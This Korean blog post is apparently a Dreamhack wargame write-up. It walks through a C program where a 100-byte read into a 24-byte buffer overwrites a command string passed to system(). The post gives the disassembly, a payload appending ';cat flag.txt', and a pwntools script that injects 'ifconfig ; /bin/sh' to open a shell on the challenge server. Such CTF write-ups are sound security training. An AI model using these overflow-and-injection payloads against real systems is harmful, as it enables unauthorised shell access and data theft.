소스코드다
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig";
int dummy;
char center_name[24];
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
이 프로그램의 코드를 분석하고, 잠재적으로 `cmd_ip` 명령을 수정하여 플래그를 볼 수 있는 방법을 설명해드리겠습니다.
### 코드 분석
1. **초기화 함수 `init()`**:
- `setvbuf()` 함수로 표준 입력과 출력을 버퍼링 없이 설정하여, 입력/출력 시 지연 없이 즉시 처리되도록 합니다.
2. **`cmd_ip` 변수 초기화**:
- `cmd_ip`는 "ifconfig" 문자열로 초기화되어 있습니다.
- "ifconfig"는 네트워크 인터페이스 구성을 출력하는 명령입니다.
3. **`center_name` 배열에 입력 읽기**:
- `center_name`은 24바이트 크기의 배열이지만, **`read()` 함수로 최대 100바이트를 입력 받습니다.** 이는 `center_name`이 초과되어 인접한 메모리 영역(여기서는 `cmd_ip`)에 덮어쓰기가 발생할 수 있습니다.
- 이를 통해, `cmd_ip`의 값을 사용자가 원하는 명령으로 **임의로 덮어쓸 수 있습니다.**
4. **조건문과 `system()` 호출**:
- `strncmp(cmd_ip, "ifconfig", 8)` 조건이 참이면, `cmd_ip`의 내용을 `system(cmd_ip);`로 실행합니다.
- 이때 `cmd_ip`가 임의의 명령으로 변경되어 있으면, `ifconfig`가 아닌 **다른 명령이 실행**될 수 있습니다.
### 플래그를 보는 방법
이 프로그램의 취약점을 이용하여 `cmd_ip`의 내용을 덮어쓰면 **任의 명령을 실행할 수 있습니다.** 플래그를 읽으려면 `cat` 명령어로 파일 내용을 출력하는 명령을 삽입합니다.
#### Exploit Steps
1. **입력으로 `center_name` 배열을 넘쳐흐르게 하여 `cmd_ip`에 명령어 덮어쓰기**:
- 예를 들어, 다음과 같은 입력을 준비합니다:
```bash
python -c 'print("A" * 24 + ";cat flag.txt")'
```
- 이 입력은 `center_name`에 24바이트를 채우고, 이후 부분을 `cmd_ip`에 덮어씁니다. `cmd_ip`는 이제 `ifconfig;cat flag.txt`가 됩니다.
2. **프로그램 실행**:
- `cmd_ip`가 `"ifconfig;cat flag.txt"`로 변경되었으므로, `system()` 호출에서 **`ifconfig`가 실행된 후 `cat flag.txt`가 실행**됩니다.
- 이로 인해 **flag.txt** 파일의 내용이 출력됩니다.
center_name의 크기는 24byte인데, 100byte 입력을 받으므로, bof가 발생한다.
main 시작 부분에 선언된 3개의 변수중에 center_name의 주소가 가장 낮으므로, cmd_ip까지 값을 입력할 수 있다.
cmd_ip의 값이 ifconfig가 맞는지 비교하고 system 함수를 호출한다. 8byte만 비교하므로, 256byte를 가지는 cmd_ip에 세미콜론(;)을 이용하여 command injection을 할 수 있다.
셸을 얻기 위해 우리가 실행 시킬 명령어는 /bin/sh 이므로, cmd_ip 배열에 ifconfig ; /bin/sh를 저장한다.
출처 ㅣ https://she11.tistory.com/162
(gdb) disas main
Dump of assembler code for function main:
0x00000000000008ad <+0>: push %rbp
0x00000000000008ae <+1>: mov %rsp,%rbp
0x00000000000008b1 <+4>: sub $0x130,%rsp
0x00000000000008b8 <+11>: mov %fs:0x28,%rax
0x00000000000008c1 <+20>: mov %rax,-0x8(%rbp)
0x00000000000008c5 <+24>: xor %eax,%eax
0x00000000000008c7 <+26>: movabs $0x6769666e6f636669,%rax
0x00000000000008d1 <+36>: mov $0x0,%edx
0x00000000000008d6 <+41>: mov %rax,-0x110(%rbp)
0x00000000000008dd <+48>: mov %rdx,-0x108(%rbp)
0x00000000000008e4 <+55>: lea -0x100(%rbp),%rdx
0x00000000000008eb <+62>: mov $0x0,%eax
0x00000000000008f0 <+67>: mov $0x1e,%ecx
0x00000000000008f5 <+72>: mov %rdx,%rdi
0x00000000000008f8 <+75>: rep stos %rax,%es:(%rdi)
0x00000000000008fb <+78>: mov $0x0,%eax
0x0000000000000900 <+83>: call 0x86a <init>
0x0000000000000905 <+88>: lea 0xf8(%rip),%rdi # 0xa04
0x000000000000090c <+95>: mov $0x0,%eax
0x0000000000000911 <+100>: call 0x710 <printf@plt>
0x0000000000000916 <+105>: lea -0x130(%rbp),%rax
0x000000000000091d <+112>: mov $0x64,%edx
--Type <RET> for more, q to quit, c to continue without paging--ret
0x0000000000000922 <+117>: mov %rax,%rsi
0x0000000000000925 <+120>: mov $0x0,%edi
0x000000000000092a <+125>: call 0x720 <read@plt>
0x000000000000092f <+130>: lea -0x110(%rbp),%rax
0x0000000000000936 <+137>: mov $0x8,%edx
0x000000000000093b <+142>: lea 0xd0(%rip),%rsi # 0xa12
0x0000000000000942 <+149>: mov %rax,%rdi
0x0000000000000945 <+152>: call 0x6e0 <strncmp@plt>
0x000000000000094a <+157>: test %eax,%eax
0x000000000000094c <+159>: jne 0x95f <main+178>
0x000000000000094e <+161>: lea -0x110(%rbp),%rax
0x0000000000000955 <+168>: mov %rax,%rdi
0x0000000000000958 <+171>: call 0x700 <system@plt>
0x000000000000095d <+176>: jmp 0x96b <main+190>
0x000000000000095f <+178>: lea 0xb5(%rip),%rdi # 0xa1b
0x0000000000000966 <+185>: call 0x6f0 <puts@plt>
0x000000000000096b <+190>: mov $0x0,%edi
0x0000000000000970 <+195>: call 0x740 <exit@plt>
End of assembler dump.
offset 0x20
cmd_ip는 rbp - 0x110에 위치하고 center_name은 rbp - 0x130
페이로드를 짜보자
from pwn import*
context.log_level = 'debug'
r= remote("host3.dreamhack.games", 19625)
payload = b"A"*0x20 + b"ifconfig ; /bin/sh"
r.sendlineafter(b"Center name: ", payload)
r.interactive()
이 코드에서는 `pwn` 라이브러리를 사용하여 원격 서버에 연결하고, 취약점을 이용해 쉘을 실행하는 페이로드를 전송하는 익스플로잇입니다.
### 코드 분석
1. **환경 설정**:
```python
context.log_level = 'debug'
```
- `context.log_level = 'debug'`를 설정하여 디버그 출력을 활성화합니다. 이를 통해 패킷 전송 및 수신 과정을 자세히 확인할 수 있습니다.
2. **원격 서버 연결**:
```python
r = remote("host3.dreamhack.games", 19625)
```
- 원격 서버의 호스트와 포트 번호를 통해 원격 연결을 생성합니다.
- `remote` 함수를 사용하여 `host3.dreamhack.games`의 포트 19625로 연결합니다.
3. **페이로드 구성**:
```python
payload = b"A"*0x20 + b"ifconfig ; /bin/sh"
```
- `payload`는 버퍼를 오버플로우하여 `cmd_ip` 변수에 명령어를 덮어쓰기 위해 구성됩니다.
- `b"A"*0x20`은 `center_name` 버퍼를 채우고 오버플로우를 유발하기 위해 32바이트의 "A"를 추가합니다.
- `b"ifconfig ; /bin/sh"`는 `cmd_ip`에 덮어쓰여질 명령어로, `ifconfig`와 이어서 쉘을 실행하는 명령을 포함합니다. 이로 인해 원격 서버에서 `/bin/sh`가 실행되어 쉘이 열리게 됩니다.
4. **페이로드 전송 및 상호작용**:
```python
r.sendlineafter(b"Center name: ", payload)
r.interactive()
```
- `sendlineafter` 함수는 `b"Center name: "` 프롬프트가 나타난 후, `payload`를 전송합니다.
- 이후, `interactive()` 함수를 통해 원격 서버와의 상호작용을 활성화합니다. 이로 인해 쉘이 열리면 사용자가 직접 명령어를 입력할 수 있습니다.
### 동작 요약
이 익스플로잇은 `center_name` 버퍼의 오버플로우를 이용해 `cmd_ip` 변수에 `ifconfig ; /bin/sh`를 덮어씁니다. 이로 인해 `system("ifconfig ; /bin/sh")`이 실행되어 쉘이 열립니다. **쉘이 열리면 플래그 파일을 확인할 수 있습니다.**
### 예상 결과
코드 실행 후 쉘이 열리며, 쉘에서 명령어를 통해 플래그 파일을 읽어볼 수 있습니다:
```bash
cat flag.txt
```
코드 참고
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[67] IT 비전공자 [dreamhack][wargame.kr] login filtering문제 풀기 (1) | 2024.11.15 |
---|---|
[66] IT 비전공자 [dreamhack]off_by_one_001문제 풀기 (1) | 2024.11.14 |
[64] IT 비전공자 [dreamhack]ssp_000문제 풀기 (1) | 2024.11.12 |
[63] IT 비전공자 [dreamhack]CSRF Advanced문제 풀기 (3) | 2024.11.11 |
[62] IT 비전공자 [dreamhack]Basic_Crypto1문제 풀기 (2) | 2024.11.10 |